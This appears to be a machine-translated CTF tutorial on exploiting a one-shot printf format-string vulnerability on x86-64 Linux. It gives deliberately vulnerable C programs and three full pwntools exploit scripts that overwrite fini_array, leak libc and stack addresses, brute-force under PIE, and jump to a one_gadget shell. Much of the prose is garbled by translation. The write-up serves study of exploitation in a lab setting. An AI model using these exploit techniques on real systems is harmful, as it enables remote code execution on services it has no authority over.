Format string prints no return path (part one)

0 20
Zero, PrefaceFormat well, format is a second, the format character has a way, se...

Zero, Preface

Format well, format is a second, the format character has a way, see me Archery Master skill, qiang method should count the high return to the moon, random value blind to use asterisks, without return path, how to pwn it again.

The format string is usually accompanied by multiple loops, but there are also cases where only one format string can be used. It mainly utilizes the process of executing the exit function to traverse the function addresses stored in the fini_array pointer array (as shown in the figure below), and the attacker modifies the fini_array array to achieve the attack effect by modifying it to the specified content.

Format string prints no return path (part one)

1. Program Execution Diagram.png

Generally, the question setter will leave the system in the program for the answerers to use, and in order to ensure that the attack can be implemented, the pie protection is disabled. This article will discuss in depth the following.Enable pie protection and do not have the system functionThe attack method in this situation.

1. Archery Master (Routine Question)

//fmt_str_once_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sys(char *cmd){
    system(cmd);
}

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
    char buf[0x100] ;
    puts("input:")
    read(0,buf,0x100);
    printf(buf);
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64

This question is a typical case where the format string can only be used once. The program has the system function and the pie protection is disabled. The main attack idea is as follows.

  1. Utilize the format string to modify the value in the fini_array to the address of the function to be returned, and modify the printf@got item to the address of system@plt.

  2. Pass /bin/sh\x00 to execute system("/bin/sh")

The main attack script is as follows.

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= 'https://www.freebuf.com/articles/system/fmt_str_once_sys_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = elf.libc

dem = 'input:\n'
io.recvuntil(dem)
fini_array = 0x4031D0
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
system_plt = elf.symbols["system"]
payload = fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt})
io.send(payload)
io.sendafter(dem,b"/bin/sh\x00")
io.interactive()

It is evident that the above situation is not general, and it is designed for the purpose of formulating questions. A more general question should not have the system function, and the question is as follows:

//fmt_str_once_no_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
int sys(char *cmd){
    system(cmd);
}
*/

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
    char buf[0x100] ;
    puts("input:")
    read(0,buf,0x100);
    printf(buf);
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}
//gcc fmt_str_once_no_sys.c -no-pie -z norelro -o fmt_str_once_no_sys_nopie_x64
//gcc fmt_str_once_no_sys.c -z norelro -o fmt_str_once_no_sys_pie_x64

This question also has two cases, one isDisable pie protectionThere are two types of themEnable pie protectionWe will deal with these two situations separately.

Second: One stone kills three birds (disable pie)

If there is no system function in the program, the main problem we face isThe first formatted string cannot modify the printf@got table item to the system@plt table item addressThis issue is relatively easy to solve, we just need to modify the return address on the stack for the second time, and debug and compare the stack frames after modifying the value in the fini_array to the address of the main function.

First:

2. First Stack Memory.png

Second:

3. Second Stack Memory.png

It can be seen that in the environment of my libc, the stack frame is elevated by 0xe0 when returning to dofunc again. Therefore, in the first step, it is necessary to leak the stack address and the base address of libc, calculate the second stack frame, so that when using the formatted string for the second time, the return address on the stack can be modified. The main change in the attack idea is as follows.

  1. Use the formatted string to complete the following content at one time

    1. Modify the value in the fini_array to the address of the function to return

    2. leak the stack address

    3. Leak the base address of libc

  2. Modify the return address of the stack to pop_rdi_ret; bin_sh_addr; system_addr

Of course, there are several issues to be handled during the attack

1.%n Input character calculation

We usually use similar %100c%10$hnThis form to write data to a specified memory, the written data is100。But when using %p%10$hnThis form to write data to memory, %p will be based on the converted characters, that is, in the form of 0x7fffffaabb00, which is to write data to memory as14(32-bit program is 10). Similarly, if using %10$s%10$hnThis form, which is the number of characters printed out as the written data, is very fortunate that64-bit programs have saved us with 6-byte memory addressesThe high two bytes of the 'got' table item are stored as 00, so the exploitation of %10$s%10$hnWhen leaking the address of the 'got' table item in this form, the data written to memory is6。(Due to the fact that the content of the 'got' table item in 32-bit software is four bytes, the number of characters printed out requires a more precise calculation, which makes 32-bit programs more difficult)

As shown in the figure, the figure}} %40$p%16sWhen calculating the number of characters, the number indicated by the arrow should be calculated, that is, 14 + 6 = 20 characters. At the same time, attention should not be paid to the characters used for alignment. Therefore, when calculating the number of characters to be written, the content used for leaking at the beginning represents 14 + 6 + 6 = 26 characters.

4. %n Character Calculation.png

2. Need to send too many characters to modify the stack frame

When the program is exploited by the format string vulnerability for the second time, since it needs to modify the stack frame to 3 word lengths, a total of 24 bytes, there is a high probability of sending too many characters, as shown in the figure below.

5. Modify Stack Frame for Long Characters.png

This issue is relatively easy to solve, we execute todofuncfunctionretWhen observing the register values, choose another availableOne_Gadgetand it is done.

6. Search for one_gadget.png

I chooseOne_Gadgetis 0xe6c7e. The main attack script is as follows

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= 'https://www.freebuf.com/articles/system/fmt_str_once_no_sys_nopie_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = elf.libc


dem = 'input:\n'
io.recvuntil(dem)
payload = b"%40$p%16$s"
align_len = 16
len_a = align_len - len(payload)
payload = payload.ljust(align_len,b"a")
fini_array = 0x4031A8
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x401363
# system_plt = elf.symbols["system"]

# The number of characters printed by %40$p is 14, the number of characters printed by %16$s is 6, len_a is the number of characters added for alignment
numb_written = 14 + 6 + len_a
payload += fmtstr_payload(8, {fini_array :main_adrr} , numbwritten = numb_written)
payload += p64(puts_got) # Placing puts@got at the end
print(payload)
io.send(payload)
io.recvuntil(b"0x")
rbp_1 = int(io.recv(12),16)
old_rbp = rbp_1 - 0x10
new_rbp = old_rbp - 0xe0
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
sys_addr ,binsh_addr = pwn_script.libcsearch_sys_sh("puts" , puts_addr , path = libc.path)
libc_base = sys_addr - libc.symbols["system"]
one_gadgat = libc_base + 0xe6c7e
print("old_rbp is :", hex(old_rbp))
print("new_rbp is :", hex(new_rbp))
print("sys_addr is :", hex(sys_addr))
print("binsh_addr is :", hex(binsh_addr))

# payload = fmtstr_payload(6, {new_rbp + 0x8 :pop_rdi_ret , new_rbp+0x10:binsh_addr , new_rbp+0x18:sys_addr})
payload = fmtstr_payload(6, {new_rbp + 0x8 :one_gadgat })
io.sendafter(dem, payload)
io.interactive()

Three, fish in troubled waters (enable pie)

compared topie, after protection is turned on, since the address of the got table is unknown, it is impossible to pass throughfini_arraythe address and directly modifying it to the address to be returned, as well as directly leakinglibcBase address. In short, the randomness of the address has become our attack difficulty, we must flexibly use the existing data in memory to attack. For veterans, leaking_libc_start_mainfunction address to leaklibcThe address is an easy task, but modifyingfini_arrayThe data is relatively difficult, through debugging and observing the memory data as shown in the figure below.

7. Analyze Stack Frame.png

There are two exploitable addresses (it may be the puts function, orinit_func(), or it may be caused by program loading, which needs to be verified). I adopt the way of brute force to deal with it, assuming that the last two bytes of the program loading address are both 0, at this time,fini_arraythe last two digits are0x31b0, the last two digits of, elf.symbols["main"] =0x12a4, after the brute force is successful, modify the return address of the stack again toOne_Gadget, the time complexity of brute force is O(1) = 16.

image-20220214185415061.png

image-20220214185436716.png

In summary, the main attack approach has been changed as follows

  1. Use the formatted string to complete the following content at one time

    1. brute force modificationfini_arrayto be the address of the function (main) to be returned,

    2. leak the stack address

    3. Utilize_libc_start_mainfunction to leaklibcBase address

  2. After the brute force is successful, modify the return address of the stack toOne_Gadget

The problem should have been solved by now, but a little problem occurred in my environment. Since r15 no longer points to 0, throughone_gadgetProgram foundOne_GadgetAs shown in the figure below, none of them can be used (even if the parameter -l 10 is set), therefore, it is necessary to manually adjustOne_Gadget.

9. Search for one_gadget Failed.png

One_Gadget manual debugging

searching forOne_GadgetIt is nothing more than the program executing automaticallysystem("/bin/sh")or similar programs, adhering to this principle,one_gadgetProgram foundOne_GadgetContinue to search forward, withone_gadgetFound0xe6c81For example, r12 and r15 are the second and third parameters.

image-20220214190412940.png

We follow 0xe6c76 back to check, as shown in the figure, r15 = rbp-0x50, and rbp-0x50 stores rax, since the program's return value is 0, rax will be set to zero.

image-20220214190650750.png

Set rax to 0

image-20220214193052749.png

Therefore, the optimized attack approach is as follows.

  1. Use the formatted string to complete the following content at one time

    1. brute force modificationfini_arrayto be the address of the function (main) to be returned,

    2. leak the stack address

    3. Utilize_libc_start_mainfunction to leaklibcBase address

  2. Use the formatted string to complete the following content at one time

    1. After the brute force is successful, modify the return address of the stack toOne_Gadget

    2. If necessary, it can also be adjusted throughrbpto achieve this.One_Gadgetis established

Therefore, the One_Gadget used by me is 0xE6EF0. The main attack script is as follows.

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= 'https://www.freebuf.com/articles/system/fmt_str_once_no_sys_pie_x64'
for i in range(20):
    try:
        io = process(pwnfile)
        #io = remote('', )
        elf = ELF(pwnfile)
        rop = ROP(pwnfile)
        libc = elf.libc

        main_adrr = elf.symbols["main"]
        printf_got = elf.got["printf"]
        puts_got = elf.got["puts"]

        dem = 'input:\n'
        io.recvuntil(dem)
        payload = b"%40$p%43$p"  # Leak base address, libc address
        nu = main_adrr - 14*2 

        # Exploit modify the value in fini_array to the address of the function to return (main)
        payload += b"%" + str(nu).encode("utf-8") + b"c%34$hn" 
        align_len = 0x1c*8
        len_a = align_len - len(payload)
        payload = payload.ljust(align_len,b"a")
        fini_array = 0x31b0
        # system_plt = elf.symbols["system"]
        # numb_written = 14 + 6 + len_a
        # payload += fmtstr_payload(8, {fini_array :main_adrr}, numbwritten = numb_written)
        # payload += p64(puts_got)


        # Exploit write the address of fini_array
        payload += p16(fini_array)
        print(payload)
        io.send(payload)
        io.recvuntil(b"0x")
        rbp_1 = int(io.recv(12),16)
        old_rbp = rbp_1 - 0x10
        new_rbp = old_rbp - 0xe0
        io.recvuntil(b"0x")
        libc_start_main_243 = int(io.recv(12), 16)
        libc_start_main = libc_start_main_243 - 243
        sys_addr, binsh_addr = pwn_script.libcsearch_sys_sh("__libc_start_main", libc_start_main, path = libc.path)
        libc_base = sys_addr - libc.symbols["system"]
        one_gadgat = libc_base + 0xE6EF0
        print("old_rbp is :", hex(old_rbp))
        print("new_rbp is :", hex(new_rbp))
        print("sys_addr is :", hex(sys_addr))
        print("binsh_addr is :", hex(binsh_addr))
        print("one_gadgat is :", hex(one_gadgat))


        # payload = fmtstr_payload(6, {new_rbp + 0x8 : pop_rdi_ret , new_rbp+0x10:binsh_addr, new_rbp+0x18:sys_addr})
        payload += fmtstr_payload(6, {new_rbp + 0x8 : one_gadgat })
        io.sendafter(dem, payload)
        io.interactive()
    except:
            pass

The attack is successful as shown in the figure below

11. Attack Success Diagram.png

Four, Summary

Through the above process, it can be found that the following points should be done well when solving such problems

  1. Calculation of input characters for %n

    1. For 64-bit programs,64-bit programs have saved us with 6-byte memory addressesIf %n$s points to a GOT table entry, the number of printed characters must be 6

    2. For 32-bit programs, it is relatively complex. It is necessary to calculate the number of GOT table entries that still exist at the high address of the selected GOT table entry, and there may be 00 in the GOT table entries, so it is recommended to choose the last GOT table entry as the leak address.

  2. The search for One_Gadget sometimes requires manual searchOne_Gadgetneed to be adjusted individually sometimesrbpaddress to makeOne_Gadgetis established

  3. **For programs withoutsystemsituation, it is necessary to knowlibcversion, to ensure_libc_start_mainand the exit function are not very different, of course, if there islibcis better. **For cases without libc version, the first step needs to be manually tested for the libc version.

Fifth, Problem

Experienced masters can find that the compilation in the above question used-z norelrocompilation option, that isNULL RELROprotection mode, so that it can be attackedfini_arrayBut this is obviously not the most extreme case. If the compilation option becomesgcc -z now fmt_st.c -o fmt_strx64How should it be handled? Stay tuned for the next article——Look Back at the Moon

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFLEN  0x60
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
  char buf[BUFLEN];
  puts("input");
  read(0, buf, BUFLEN);
  printf(buf);
  _exit(0);
  return 0;
}
int main(){ 
  init_func();
  dofunc();
  return 0;
}
// gcc -z now fmt_st.c -o fmt_strx64
你可能想看:

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

Introduction to the Safety Entry and Practice of Internet of Things Terminal Security: Mastering Internet of Things Firmware (Part 1)

Introduction to Internet of Things Terminal Security and Practice - Playing with Internet of Things Firmware (Part 2) DIY article

Interpretation of Meicreate Technology's 'Security Protection Requirements for Key Information Infrastructure' (Part 1)

In today's rapidly developing digital economy, data has become an important engine driving social progress and enterprise development. From being initially regarded as part of intangible assets to now

Internal and external cultivation | Under the high-confrontation offensive and defensive, internal network security cannot be ignored

A brief discussion on how to ensure the security of information assets during the termination of information systems

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

Distributed Storage Technology (Part 2): Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

Data security can be said to be a hot topic in recent years, especially with the rapid development of information security technologies such as big data and artificial intelligence, the situation of d

最后修改时间:
admin
上一篇 2025年03月29日 02:43
下一篇 2025年03月29日 03:06

评论已关闭